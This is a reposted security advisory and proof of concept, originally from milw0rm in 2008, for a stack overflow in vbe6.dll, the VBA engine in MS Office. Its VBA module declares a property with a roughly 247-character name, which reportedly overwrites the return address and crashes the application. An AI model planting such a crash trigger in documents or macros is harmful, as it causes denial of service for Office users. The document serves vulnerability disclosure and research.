Visual Basic (vbe6.dll) Local Stack Overflow PoC / DoS 's

admin 2017年5月2日02:54:06评论290 views字数 704阅读2分20秒阅读模式
摘要

Stack overflow in vbe6.dll, (used by all versions of MS Office)
The overflow occurs in Visual Basic for Application.
Creating a property with a long name ( about 247 chars) results in a stack overflow in vbe6.dll which overwrites with a null byte the first byte of the return address.

Stack overflow in vbe6.dll, (used by all versions of MS Office)
The overflow occurs in Visual Basic for Application.
Creating a property with a long name ( about 247 chars) results in a stack overflow in vbe6.dll which overwrites with a null byte the first byte of the return address.

Probably impossible to exploit, but who knows? ^^ At least, there still exist stack overflows in Office apps Visual Basic (vbe6.dll) Local Stack Overflow PoC / DoS  's

Marsu <[email protected]>

Module1.bas:

Attribute VB_Name = "Module1"

Public Property Get aaabcdefghissssssaaaaaaaaaaaaaaaaaaaaaaaaaadaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabdaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaasssssssssssssssssssssssssssssssssssssssssssssssssssade() As Variant

End Property

# milw0rm.com [2008-03-30]

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2017年5月2日02:54:06
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Visual Basic (vbe6.dll) Local Stack Overflow PoC / DoS 'shttp://cn-sec.com/archives/47623.html

发表评论

匿名网友 填写信息